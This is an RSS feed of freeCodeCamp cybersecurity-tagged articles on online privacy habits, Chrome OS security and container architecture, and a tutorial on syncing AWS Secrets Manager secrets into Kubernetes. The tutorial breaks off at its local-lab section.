<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ cybersecurity - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ cybersecurity - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Sun, 24 May 2026 22:24:16 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/tag/cybersecurity/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ How to Protect Your Privacy Online in 2026 ]]>
                </title>
                <description>
                    <![CDATA[ Online privacy has never been more talked about, yet it has never been more misunderstood. In 2026, most people believe they are “covered” because they use a VPN, browse in incognito mode, or occasion ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-protect-your-privacy-online-in-2026/</link>
                <guid isPermaLink="false">6a0c88ab88372774116b600b</guid>
                
                    <category>
                        <![CDATA[ privacy ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Tue, 19 May 2026 15:58:35 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/uploads/covers/5fc16e412cae9c5b190b6cdd/99ba3119-3b43-45d9-bcef-e3024b92b1a0.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Online privacy has never been more talked about, yet it has never been more misunderstood.</p>
<p>In 2026, most people believe they are “covered” because they use a VPN, browse in incognito mode, or occasionally decline cookies. These actions create a sense of control, but they only address a small part of the problem.</p>
<p>The reality is more complex. Privacy today is not about a single tool or setting. It is about how data flows across systems, how identity is inferred, and how behavior is tracked even when you think you are anonymous.</p>
<blockquote>
<p>“<em>Arguing that you don't care about the right to privacy because you have nothing to hide is no different than saying you don't care about free speech because you have nothing to say.</em>”<br>Source: <a href="https://www.theguardian.com/us-news/video/2015/may/22/edward-snowden-rights-to-privacy-video">The Guardian</a></p>
</blockquote>
<p>If you want real protection, you need to understand what actually works and what only creates the illusion of safety.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><p><a href="#heading-privacy-is-no-longer-about-hiding-your-ip">Privacy Is No Longer About Hiding Your IP</a></p>
</li>
<li><p><a href="#heading-the-illusion-of-incognito-mode">The Illusion of Incognito Mode</a></p>
</li>
<li><p><a href="#heading-the-rise-of-first-party-tracking">The Rise of First-Party Tracking</a></p>
</li>
<li><p><a href="#heading-encryption-still-matters-but-it-is-not-enough">Encryption Still Matters, But It Is Not Enough</a></p>
</li>
<li><p><a href="#heading-devices-are-the-new-weak-point">Devices Are the New Weak Point</a></p>
</li>
<li><p><a href="#heading-behavioral-data-is-the-real-commodity">Behavioral Data Is the Real Commodity</a></p>
</li>
<li><p><a href="#heading-where-vpns-actually-fit">Where VPNs Actually Fit</a></p>
</li>
<li><p><a href="#heading-identity-is-the-core-problem">Identity Is the Core Problem</a></p>
</li>
<li><p><a href="#heading-regulation-helps-but-it-has-limits">Regulation Helps, But It Has Limits</a></p>
</li>
<li><p><a href="#heading-what-actually-protects-you">What Actually Protects You</a></p>
</li>
<li><p><a href="#heading-the-trade-offs-are-real">The Trade-Offs Are Real</a></p>
</li>
<li><p><a href="#heading-the-future-of-privacy">The Future of Privacy</a></p>
</li>
<li><p><a href="#heading-closing-perspective">Closing Perspective</a></p>
</li>
</ul>
<h2 id="heading-privacy-is-no-longer-about-hiding-your-ip"><strong>Privacy Is No Longer About Hiding Your IP</strong></h2>
<p>A decade ago, privacy conversations centered on IP addresses. If you could mask your IP, you were considered relatively anonymous. That model is outdated.</p>
<p>Modern tracking systems rely on <a href="https://developer.mozilla.org/en-US/docs/Glossary/Fingerprinting">fingerprinting</a>. Your browser, device type, screen resolution, installed fonts, GPU behaviour, and even how you move your mouse can uniquely identify you. This means that even if your IP changes, your identity can still be reconstructed with high confidence.</p>
<p>Companies no longer need a single identifier. They build probabilistic profiles. These profiles combine dozens of weak signals into one strong identity.</p>
<p>This is why simply using a VPN does not guarantee privacy. It hides where you are connecting from, but it does not hide who you are behaving like.</p>
<h2 id="heading-the-illusion-of-incognito-mode"><strong>The Illusion of Incognito Mode</strong></h2>
<p>Incognito mode is one of the most misunderstood features in modern browsers. It does not make you anonymous. It simply prevents your local browser from saving history, cookies, and form data.</p>
<p>Your internet service provider can still see your activity. Websites can still track you. Third-party scripts can still build profiles. Incognito mode protects you from other users on the same device, not from the internet itself.</p>
<p>In 2026, relying on incognito mode for privacy is like closing your eyes and assuming no one can see you. It changes your local environment, not the external systems observing you.</p>
<h2 id="heading-the-rise-of-first-party-tracking"><strong>The Rise of First-Party Tracking</strong></h2>
<p>One major shift in recent years is the move from third-party tracking to first-party tracking. Browsers and regulators have restricted third-party cookies, but this has not reduced tracking. It has changed who does it.</p>
<p>Large platforms now collect data directly. When you log into services, your activity is tied to your account. This is more accurate than cookie-based tracking and harder to block.</p>
<p>Even when you are not logged in, platforms use techniques like <a href="https://digiday.com/marketing/wtf-link-decoration/">link decoration</a> and server-side tracking. These methods bypass traditional browser protections. As a result, blocking cookies is no longer enough.</p>
<p>Privacy today requires reducing how much data you generate, not just controlling how it is stored.</p>
<h2 id="heading-encryption-still-matters-but-it-is-not-enough"><strong>Encryption Still Matters, But It Is Not Enough</strong></h2>
<p>Encryption remains one of the most important tools in digital privacy. It ensures that data in transit cannot be easily intercepted.</p>
<p>HTTPS is now standard, and end-to-end encryption is widely used in messaging apps.</p>
<p>However, encryption protects content, not metadata.</p>
<p><a href="https://www.ibm.com/think/topics/metadata">Metadata</a> includes who you communicate with, when, how often, and from where. This data can reveal patterns that are often more valuable than the content itself.</p>
<p>For example, knowing that two people communicate regularly at specific times can be enough to infer relationships or activities.</p>
<p>In 2026, sophisticated surveillance systems rely heavily on metadata analysis. This means encryption is necessary, but it is not sufficient.</p>
<h2 id="heading-devices-are-the-new-weak-point"><strong>Devices Are the New Weak Point</strong></h2>
<p>Most privacy discussions focus on networks, but devices have become the primary attack surface. Smartphones, laptops, and even smart home devices continuously collect data.</p>
<p>Operating systems gather <a href="https://www.ibm.com/think/topics/telemetry">telemetry</a>. Apps request permissions that go far beyond their core function. Background processes transmit usage patterns, location data, and behavioral signals.</p>
<p>Even trusted platforms collect large amounts of data. This is often justified as necessary for improving services, but it creates detailed user profiles.</p>
<p>Real privacy requires controlling what your devices share. This includes limiting permissions, reducing app usage, and choosing systems that minimize data collection by design.</p>
<h2 id="heading-behavioral-data-is-the-real-commodity"><strong>Behavioral Data Is the Real Commodity</strong></h2>
<p>In 2026, raw personal data is less valuable than behavioral data. Companies are less interested in who you are and more interested in what you do.</p>
<p>Behavioral data includes browsing habits, purchase patterns, scrolling speed, typing rhythm, and engagement signals. This data feeds machine learning models and AI automation platforms that predict future actions.</p>
<p>These models power everything from targeted advertising to risk scoring. They are also used in fraud detection, hiring systems, and financial services.</p>
<p>As AI increasingly shapes online interactions, understanding how your data is analyzed can be valuable. It is also important to recognize whether content is generated or influenced by AI. AI detection platforms like <a href="https://gptzero.me/">ai checker</a> help users identify AI-generated content while supporting greater transparency in digital environments.</p>
<p>The challenge is that behavioral data is difficult to hide. It is generated passively through normal usage. Protecting privacy means reducing the amount of behavior that can be observed and linked over time.</p>
<h2 id="heading-where-vpns-actually-fit"><strong>Where VPNs Actually Fit</strong></h2>
<p>VPNs still have a role, but it is narrower than most people think. They are useful for securing connections on untrusted networks, such as public Wi-Fi. They can also help bypass geographic restrictions.</p>
<p>However, they do not make you anonymous. They shift trust from your internet provider to the VPN provider. If the provider logs data, your activity is still traceable.</p>
<p>This is where the market has evolved. Users are now looking beyond traditional VPNs such as NordVPN and exploring options that offer stronger privacy guarantees, such as decentralized networks or tools with strict no-logging architectures.</p>
<p>In this context, the idea of a traditional VPN alternatives often comes up, not as a rejection of VPNs, but as a recognition that privacy requires a broader approach.</p>
<p>The key is understanding that a VPN is one layer, not a complete solution.</p>
<h2 id="heading-identity-is-the-core-problem"><strong>Identity Is the Core Problem</strong></h2>
<p>At the center of modern privacy is identity. Every system you interact with tries to answer one question: is this the same user as before?</p>
<p>If the answer is yes, your actions can be linked over time. This creates a persistent profile.</p>
<p>Breaking this link is difficult. Logging into accounts, using the same device, and maintaining consistent behavior all reinforce identity. Even small signals can reconnect fragmented data.</p>
<p>True privacy requires disrupting this continuity. This can involve using separate environments for different activities, avoiding unnecessary logins, and limiting cross-platform data sharing.</p>
<p>It is not about being invisible. It is about being harder to correlate.</p>
<h2 id="heading-regulation-helps-but-it-has-limits"><strong>Regulation Helps, But It Has Limits</strong></h2>
<p>Privacy regulations have expanded globally. Laws now require companies to disclose data practices, obtain consent, and provide user controls.</p>
<p>These changes have improved transparency, but they have not fundamentally changed data collection. Consent banners are often designed to nudge users toward acceptance. Privacy policies remain complex and difficult to interpret.</p>
<p>Enforcement is also uneven. Large companies adapt quickly, while smaller players may ignore rules altogether.</p>
<p>Regulation sets boundaries, but it does not eliminate incentives. As long as data drives revenue, companies will find ways to collect it within legal frameworks.</p>
<h2 id="heading-what-actually-protects-you">What Actually Protects You</h2>
<p>Real privacy in 2026 does not come from one app, browser setting, or security tool. Privacy works best as a layered system where several habits work together. Tools help, but behavior matters more. Strong privacy comes from sharing less data, separating identities, reducing tracking signals, and using the right tools carefully.</p>
<p>The first step is to minimize data sharing. Every account signup, app download, connected service, and permission request creates another source of information collection. Share only what is necessary. Use fewer apps and services when possible. Avoid unnecessary integrations between platforms. Review permissions such as location, contacts, microphone access, and background tracking. Less information leaving your control means less information available to collect, sell, or track.</p>
<p>The next step is separating digital identity. Avoid linking every activity to the same account or profile. Use different emails, accounts, or even devices for work, personal use, and anonymous activities. Keeping activities separate makes it harder for systems to build one complete profile about you.</p>
<p>You should also reduce behavioral signals. Modern tracking systems use cookies, tracking pixels, app behavior, and device fingerprinting to identify users. Review app permissions and limit tracking where possible. Fewer signals make profiling harder.</p>
<p>Privacy-focused tools add another layer. Use secure browsers, encrypted messaging apps, secure DNS, and VPNs when needed. Keep them updated and properly configured. Privacy is not about becoming invisible. It is about staying intentional and keeping control over your information.</p>
<h2 id="heading-the-trade-offs-are-real"><strong>The Trade-Offs Are Real</strong></h2>
<p>It is important to acknowledge that privacy comes with trade-offs. More privacy often means less convenience. Personalized services become less accurate. Seamless experiences may require more manual effort.</p>
<p>Most users are not willing to sacrifice convenience entirely. This is why complete privacy is rare. Instead, the goal should be proportional privacy.</p>
<p>Protect what matters most. Accept some level of exposure where the cost of protection is too high.</p>
<h2 id="heading-the-future-of-privacy"><strong>The Future of Privacy</strong></h2>
<p>Looking ahead, privacy will become more integrated into system design. Technologies like on-device processing, differential privacy, and zero-knowledge proofs are gaining traction.</p>
<p>These approaches aim to reduce data collection while still enabling useful services. Instead of sending raw data to servers, computations happen locally or in privacy-preserving ways.</p>
<p>However, adoption will take time. Economic incentives still favor data collection. Until that changes, users remain responsible for their own privacy posture.</p>
<h2 id="heading-closing-perspective"><strong>Closing Perspective</strong></h2>
<p>The biggest misconception about online privacy is that it can be solved with a single tool. In reality, it is a continuous process.</p>
<p>What protects you in 2026 is not just technology, but how you use it. It is the combination of reducing data exposure, understanding tracking mechanisms, and making deliberate choices about your digital behavior.</p>
<p>Privacy is no longer about disappearing. It is about controlling how visible you are, to whom, and under what conditions.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Why Chrome OS Is the Operating System the AI Era Was Built For ]]>
                </title>
                <description>
                    <![CDATA[ Chrome OS runs on a read-only filesystem. You can't install executables on the host. There's no traditional desktop environment. Everything that interacts with the underlying system does so through a  ]]>
                </description>
                <link>https://www.freecodecamp.org/news/why-chrome-os-is-the-ai-os/</link>
                <guid isPermaLink="false">69e2765cfd22b8ad62611ba8</guid>
                
                    <category>
                        <![CDATA[ Chrome OS ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Cloud Computing ]]>
                    </category>
                
                    <category>
                        <![CDATA[ AI ]]>
                    </category>
                
                    <category>
                        <![CDATA[ AWS ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Christopher Galliart ]]>
                </dc:creator>
                <pubDate>Fri, 17 Apr 2026 18:05:16 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/uploads/covers/5e1e335a7a1d3fcc59028c64/c4116a06-9e42-4da5-a152-0fe1433e0857.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Chrome OS runs on a read-only filesystem. You can't install executables on the host. There's no traditional desktop environment. Everything that interacts with the underlying system does so through a sandboxed browser, a containerized Linux terminal, or a cloud connection.</p>
<p>For years, that list of constraints was the reason people dismissed it. But in 2026, it's the reason Chrome OS might be the most correctly designed operating system for what's coming.</p>
<p>The security architecture treats the endpoint as untrusted by default. The containerized Linux environment gives developers a full headless stack without compromising the host. And an upcoming OS-level rewrite, Aluminium, puts Google's on-device AI models directly into the kernel.</p>
<p>This article covers security architecture, the container-based developer environment, cloud-streamed creative tools via AWS NICE DCV, cloud gaming, and what Aluminium OS means for on-device AI.</p>
<h3 id="heading-heres-what-well-cover">Here's what we'll cover:</h3>
<ol>
<li><p><a href="#heading-security-first-architecture-in-the-era-of-ai-powered-threats">Security-First Architecture in an Era of AI-Powered Threats</a></p>
</li>
<li><p><a href="#heading-a-headless-linux-stack-thats-more-flexible-than-it-looks">A Headless Linux Stack That's More Flexible Than It Looks</a></p>
</li>
<li><p><a href="#heading-aws-nice-dcv-changes-the-creative-tools-conversation">AWS NICE DCV Changes the Creative Tools Conversation</a></p>
</li>
<li><p><a href="#heading-cloud-gaming-works">Cloud Gaming Works</a></p>
</li>
<li><p><a href="#heading-aluminum-os-on-device-models-on-googles-own-architecture">Aluminium OS: On-Device Models on Google's Own Architecture</a></p>
</li>
<li><p><a href="#heading-where-this-lands">Where This Lands</a></p>
</li>
</ol>
<h2 id="heading-security-first-architecture-in-an-era-of-ai-powered-threats">Security-First Architecture in an Era of AI-Powered Threats</h2>
<p>Threat actors are getting better tools. Models like Mythos are lowering the barrier for generating convincing phishing campaigns, crafting polymorphic malware, and automating social engineering at scale.</p>
<p>Traditional operating systems present exactly the attack surface these tools target: writable system files, user-installable executables, patches that sit uninstalled for weeks because someone clicked "remind me later."</p>
<p>Chrome OS sidesteps most of this by design. The root filesystem is read-only and cryptographically verified on every boot through a process called Verified Boot.</p>
<p>If anything has modified the OS files since the last verified state, whether that's malware, a compromised package, or a rogue AI agent that decided to start deleting system files, the device detects it at startup and either self-corrects or refuses to boot.</p>
<p>Persistence across reboots isn't difficult. It's architecturally impossible through software alone.</p>
<p>Updates happen silently. While you're working, the system downloads the next OS version to an inactive partition. On your next reboot, it pivots to the updated version. No prompts, no deferred patches, no exposure window.</p>
<p>Major updates ship every four to six weeks. Security patches land every two to three weeks. The gap between vulnerability discovery and remediation is measured in days.</p>
<p>Chrome OS consistently doesn't appear in the top 50 products by CVE count in the NIST vulnerability database. Windows and the Linux kernel sit near the top every year. When AI is actively being weaponized to find and exploit vulnerabilities faster than humans can patch them, a read-only, verified, automatically updated endpoint is a different category of security posture.</p>
<p>The tradeoff is trust. Chrome OS's security model means trusting Google as the root authority for your entire computing stack: updates, certificate trust, telemetry. Organizations with strict data sovereignty requirements should weigh that dependency carefully.</p>
<h2 id="heading-a-headless-linux-stack-thats-more-flexible-than-it-looks">A Headless Linux Stack That's More Flexible Than It Looks</h2>
<p>Chrome OS is a text-based operating system. There's no native GUI layer. Stop and sit with that for a second, because it's the thing that makes people dismiss Chrome OS and also the thing that makes it work.</p>
<p>The entire graphical interface you interact with IS the Chrome browser. The Ash shell, Chrome's window manager, is the desktop. You don't install applications onto it the way you install .exe files on Windows or drag .app bundles into a macOS Applications folder. If it isn't running in a browser tab, an Android VM, or a Linux container, it doesn't run. That restriction is what keeps the host locked down, and it's what makes everything else possible.</p>
<p>Under the hood, Chrome OS runs a minimal virtual machine called Termina through crosvm, Google's Rust-based VM monitor.</p>
<p>Inside Termina, LXD manages Linux containers. The default container, penguin, is a Debian environment with a special trick: it bridges GUI-based Linux applications directly into the Chrome OS desktop through a Wayland proxy called Sommelier. Install VS Code, GIMP, or LibreOffice in penguin and they show up in your Chrome OS app launcher, running in windows alongside your browser tabs. For a lot of developers, penguin alone covers the daily workflow.</p>
<p>But Termina gives you more than penguin. Through the LXD layer you can spin up independent containers that are fully isolated operating systems: Arch, Alpine, Ubuntu, whatever you need.</p>
<p>These aren't attached to the GUI bridge. They run headless, natively, with their own systemd, their own package managers, their own persistent state. Need a clean Ubuntu environment to test a deployment script without touching your main setup? <code>lxc launch</code> and you're there. Need to blow it away? <code>lxc delete</code> and it's gone. No orphaned files on the host, no cross-contamination between environments.</p>
<p>The key distinction from Docker is that LXD runs system containers (full OS emulation) rather than application containers. You get background services, persistent daemons, the works. You can also run Docker inside any of these LXD containers if you need application-level containerization on top of that.</p>
<p>Snapshot your entire environment with <code>lxc snapshot</code> before a risky dependency install and roll back instantly if something breaks. That kind of safety net is broader than version control alone: it captures your full OS configuration, not just code.</p>
<p>Pair this with browser-native tools like GitHub Codespaces, Google Colab, AWS CloudShell, or vscode.dev, and the terminal handles your local tooling while the browser handles everything else.</p>
<p>AI coding assistants like Claude and Gemini already operate natively in the browser. The distance between "cloud IDE" and "local IDE" keeps shrinking.</p>
<p>There are friction points: no custom kernel modules inside Crostini. Nested KVM requires Intel Gen 10+ processors. VPN routing into the Linux container from the Chrome OS host can be a headache, with WireGuard requiring userspace workarounds inside the container.</p>
<p>But none of these break the core architecture for cloud-native work. They're just worth knowing about before you commit.</p>
<h2 id="heading-aws-nice-dcv-changes-the-creative-tools-conversation">AWS NICE DCV Changes the Creative Tools Conversation</h2>
<p>One of the longest-standing arguments against Chrome OS has been the absence of professional creative software. There's no Premiere, no DaVinci Resolve, no Blender, no Ableton. For years, this was a dead-end conversation.</p>
<p>AWS NICE DCV (Desktop Cloud Visualization) reopens it. DCV is a high-performance remote display protocol that streams GPU-accelerated desktop sessions from EC2 instances to any device, including a Chromebook running the browser-based DCV client. It supports OpenGL, Vulkan, and DirectX rendering, with adaptive encoding that adjusts to network conditions. On AWS, the DCV license is free. You pay only for the EC2 compute time.</p>
<p>Netflix engineers use DCV to stream content creation applications to remote artists. Volkswagen runs 3D CAD simulations across their engineering division through it. A VFX studio called RVX used it to deliver visual effects for HBO's The Last of Us, streaming Nuke, Maya, Houdini, and Blender to artists distributed across Europe from servers in Iceland. Their team said it was the best remote experience they'd ever worked with.</p>
<p>So: a Chromebook connected to a g5.xlarge EC2 instance (one A10G GPU) can run Blender, DaVinci Resolve, or any other GPU-accelerated creative application with full hardware acceleration. The rendering happens in the data center. DCV streams the pixels. The creative professional gets a responsive, high-fidelity workspace on a $400 machine that couldn't locally render a single frame.</p>
<p>The constraints are connectivity and cost. You need sustained bandwidth (25+ Mbps for 1080p work, more for 4K multi-monitor setups) and leaving a GPU instance running around the clock adds up. But for studios and professionals who already budget for high-end workstations, the math often pencils out, especially when you factor in zero local hardware maintenance and the ability to scale GPU power on demand.</p>
<h2 id="heading-cloud-gaming-works">Cloud Gaming Works</h2>
<p>GeForce NOW survived where Stadia failed because it made a better business decision: bring your own games. Connect your existing Steam, Epic, or Ubisoft library and stream from NVIDIA's server-side hardware. The Ultimate tier now runs on RTX 5080-class infrastructure. 4K at 120fps with ray tracing, on a fanless Chromebook.</p>
<p>Chrome OS has a structural advantage as a cloud gaming client. GeForce NOW runs natively in the Chromium browser via WebRTC, and users consistently report less micro-stuttering and tighter input handling than the standalone Windows desktop app. Under good network conditions, measured total latency runs 13 to 14ms, with sub-3ms ping documented near datacenter proximity. That's below human perceptual threshold for most game types.</p>
<p>Anti-cheat systems like Easy Anti-Cheat and Riot Vanguard are a non-issue in this model. They run on the server where the game executes, not on your local endpoint. On-device gaming isn't viable on Chrome OS and likely never will be. The architecture isn't designed for it, and even projects attempting to bridge local GPUs hit bottlenecks in the container layers. Cloud gaming is the path, and it works.</p>
<p>The limiting factors are network-dependent. Latency spikes above 500ms on bad connections make fast-twitch games unplayable, and NVIDIA's 100-hour monthly cap on the Ultimate tier has drawn criticism. But cloud gaming on Chrome OS has crossed the line from novelty to daily-driver viable for most use cases.</p>
<h2 id="heading-aluminium-os-on-device-models-on-googles-own-architecture">Aluminium OS: On-Device Models on Google's Own Architecture</h2>
<p>The most consequential near-term development for Chrome OS is Project Aluminium, a ground-up rewrite that replaces the current Chrome OS foundation with a native Android kernel. Not another bolted-on compatibility layer: a new operating system built on Android 16, designed to run Android applications natively with direct hardware acceleration instead of routing them through the resource-heavy ARCVM virtual machine that currently eats CPU cycles on even basic app launches.</p>
<p>The AI story is the real story. Aluminium is being built with Gemini models integrated directly into the OS: the file system, the application launcher, the window manager.</p>
<p>Google serving their own proprietary models on their own devices, using an architecture optimized specifically to run them, is a level of vertical integration that no other OS vendor has in the pipeline. Apple has the silicon advantage for local inference. Google has the model-to-OS integration advantage. Those are competing theses about where AI compute should live, and both are worth taking seriously.</p>
<p>The rollout timeline from court documents and leaked roadmaps puts a trusted tester program on select hardware in late 2026, premium tablets by early 2027, and general consumer availability in 2028. Chrome OS Classic gets maintained through existing support obligations until 2033 or 2034.</p>
<p>The launch won't be perfect. Google's track record on platform transitions gives the community earned skepticism. But the ability to iterate a natively AI-integrated OS on hardware they control is the kind of capability that compounds over time.</p>
<h2 id="heading-where-this-lands">Where This Lands</h2>
<p>Two years ago, calling Chrome OS a serious platform for development or creative work would have been a stretch. Today you can run a full Debian environment with systemd daemons, snapshot your workspace, stream Blender from a GPU-backed data center, play AAA games at 4K on hardware you don't own, and do all of it from a verified, read-only endpoint that patches itself while you sleep.</p>
<p>The remaining gaps are real. But they're concentrated in workflows that are themselves moving to the cloud. Chrome OS was designed around assumptions about computing that used to be premature. They're not premature anymore.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Sync AWS Secrets Manager Secrets into Kubernetes with the External Secrets Operator ]]>
                </title>
                <description>
                    <![CDATA[ If someone asked you how secrets flow from AWS Secrets Manager into a running pod, could you explain it confidently? Storing them is straightforward. But handling rotation, stale env vars, and the gap ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-sync-aws-secrets-manager-secrets-into-kubernetes-with-the-external-secrets-operator/</link>
                <guid isPermaLink="false">69c541f010e664c5dadc877e</guid>
                
                    <category>
                        <![CDATA[ Kubernetes ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Devops ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Terraform ]]>
                    </category>
                
                    <category>
                        <![CDATA[ secrets management ]]>
                    </category>
                
                    <category>
                        <![CDATA[ SRE ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Osomudeya Zudonu ]]>
                </dc:creator>
                <pubDate>Thu, 26 Mar 2026 14:25:52 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/uploads/covers/5e1e335a7a1d3fcc59028c64/6cca126e-dd50-4400-ae9d-65449581345b.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>If someone asked you how secrets flow from AWS Secrets Manager into a running pod, could you explain it confidently?</p>
<p>Storing them is straightforward. But handling rotation, stale env vars, and the gap between what your pod reads and what AWS actually holds is where many engineers go quiet.</p>
<p>In this guide, you'll build a complete secrets pipeline from AWS Secrets Manager into Kubernetes pods. You'll provision the infrastructure with Terraform, sync secrets using the External Secrets Operator, and run a sample application that reads the same credentials in two different ways: via environment variables and via a volume mount.</p>
<p>By the end, you'll be able to:</p>
<ul>
<li><p>Explain the full architecture from vault to pod</p>
</li>
<li><p>Run the lab locally in about 15 minutes</p>
</li>
<li><p>Prove why environment variables go stale after rotation, while mounted secret files stay fresh</p>
</li>
<li><p>Deploy the same pattern on Amazon Elastic Kubernetes Service with OpenID Connect-based CI/CD</p>
</li>
<li><p>Troubleshoot the most common failures</p>
</li>
</ul>
<p>Below is an architecture diagram showing secrets flowing from AWS Secrets Manager through the External Secrets Operator into a Kubernetes Secret, then splitting into environment variables set at pod start and a volume mount that updates within 60 seconds.</p>
<img src="https://cdn.hashnode.com/uploads/covers/698d563262d4ce66226a844a/ac8bfc9e-304e-41b8-b6a3-7ce1795b29a9.png" alt="Architecture diagram showing secrets flowing from AWS Secrets Manager through the External Secrets Operator into a Kubernetes Secret, then splitting into environment variables set at pod start and a volume mount that updates within 60 seconds." style="display:block;margin:0 auto" width="1024" height="1536" loading="lazy">

<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><p><a href="#heading-prerequisites">Prerequisites</a></p>
</li>
<li><p><a href="#heading-how-to-understand-the-secret-flow">How to Understand the Secret Flow</a></p>
</li>
<li><p><a href="#heading-how-to-run-the-local-lab">How to Run the Local Lab</a></p>
</li>
<li><p><a href="#heading-how-to-inspect-the-externalsecret-and-the-application">How to Inspect the ExternalSecret and the Application</a></p>
</li>
<li><p><a href="#heading-how-to-test-secret-rotation">How to Test Secret Rotation</a></p>
</li>
<li><p><a href="#heading-how-to-choose-between-external-secrets-operator-and-the-csi-driver">How to Choose Between External Secrets Operator and the CSI Driver</a></p>
</li>
<li><p><a href="#heading-how-to-deploy-the-pattern-on-amazon-elastic-kubernetes-service">How to Deploy the Pattern on Amazon Elastic Kubernetes Service</a></p>
</li>
<li><p><a href="#heading-how-to-configure-github-actions-without-stored-aws-credentials">How to Configure GitHub Actions Without Stored AWS Credentials</a></p>
</li>
<li><p><a href="#heading-how-to-troubleshoot-the-most-common-failures">How to Troubleshoot the Most Common Failures</a></p>
</li>
<li><p><a href="#heading-conclusion">Conclusion</a></p>
</li>
</ul>
<h2 id="heading-prerequisites">Prerequisites</h2>
<p>Before you begin, make sure you have the following tools installed and configured.</p>
<p><strong>For the local lab:</strong></p>
<ul>
<li><p>An AWS account with access to AWS Secrets Manager</p>
</li>
<li><p>The AWS CLI installed and configured. Run <code>aws configure</code> and provide your access key, secret key, default region, and output format. The credentials need permission to read and write secrets in AWS Secrets Manager.</p>
</li>
<li><p><code>kubectl</code> installed. For Microk8s, run <code>microk8s kubectl config view --raw &gt; ~/.kube/config</code> after installation to connect kubectl to your local cluster.</p>
</li>
<li><p>Terraform installed</p>
</li>
<li><p>Helm installed</p>
</li>
<li><p>Docker installed</p>
</li>
<li><p>A local Kubernetes cluster: the lab supports Microk8s and kind. If you do not have either installed, follow the <a href="https://microk8s.io/">Microk8s install guide</a> before continuing.</p>
</li>
</ul>
<p><strong>For the Amazon Elastic Kubernetes Service sections:</strong></p>
<ul>
<li><p>An Amazon Elastic Kubernetes Service cluster you can create or manage</p>
</li>
<li><p>A GitHub repository you can configure for workflows and secrets</p>
</li>
</ul>
<p>The lab repository includes two deployment paths: a local path for fast learning and an Amazon Elastic Kubernetes Service path for a production-like setup. All the exact commands for each path live in the repo's <a href="https://github.com/Osomudeya/k8s-secret-lab/blob/main/docs/DEPLOY-LOCAL.md"><code>docs/DEPLOY-LOCAL.md</code></a> and <a href="https://github.com/Osomudeya/k8s-secret-lab/blob/main/docs/DEPLOY-EKS.md"><code>docs/DEPLOY-EKS.md</code></a>.</p>
<h2 id="heading-how-to-understand-the-secret-flow">How to Understand the Secret Flow</h2>
<p>Before you run any command, you need to understand how the pieces connect.</p>
<p>The flow has four stages:</p>
<ol>
<li><p>A developer or automated system updates a secret in AWS Secrets Manager.</p>
</li>
<li><p>The External Secrets Operator polls AWS Secrets Manager on a schedule and creates or updates a Kubernetes Secret.</p>
</li>
<li><p>Your pod reads that Kubernetes Secret.</p>
</li>
<li><p>During rotation, the Kubernetes Secret updates, but your two consumption modes behave differently.</p>
</li>
</ol>
<img src="https://cdn.hashnode.com/uploads/covers/698d563262d4ce66226a844a/9dc52f99-add4-490a-ad86-25a30d0ae306.png" alt="A step-by-step flow diagram showing the four stages of secret flow above" style="display:block;margin:0 auto" width="1536" height="1024" loading="lazy">

<h3 id="heading-how-the-external-secrets-operator-sync-works">How the External Secrets Operator Sync Works</h3>
<p>The External Secrets Operator reads a custom Kubernetes resource called <code>ExternalSecret</code>. That resource tells the operator three things:</p>
<ul>
<li><p>Which secret store to connect to</p>
</li>
<li><p>Which Kubernetes Secret name to create or update</p>
</li>
<li><p>How often to refresh</p>
</li>
</ul>
<p>In this lab, the <code>ExternalSecret</code> creates a Kubernetes Secret named <code>myapp-database-creds</code>. The operator also adds a template annotation that can trigger a pod restart when the secret rotates.</p>
<h3 id="heading-how-the-app-consumes-secrets">How the App Consumes Secrets</h3>
<p>The sample application exposes three endpoints so you can validate behavior at any time.</p>
<ul>
<li><p><code>/secrets/env</code> shows what environment variables the pod sees</p>
</li>
<li><p><code>/secrets/volume</code> shows what files in the mounted secret directory look like</p>
</li>
<li><p><code>/secrets/compare</code> compares both and reports whether rotation has been detected</p>
</li>
</ul>
<p>The app checks four keys: <code>DB_USERNAME</code>, <code>DB_PASSWORD</code>, <code>DB_HOST</code>, and <code>DB_PORT</code>.</p>
<h2 id="heading-how-to-run-the-local-lab">How to Run the Local Lab</h2>
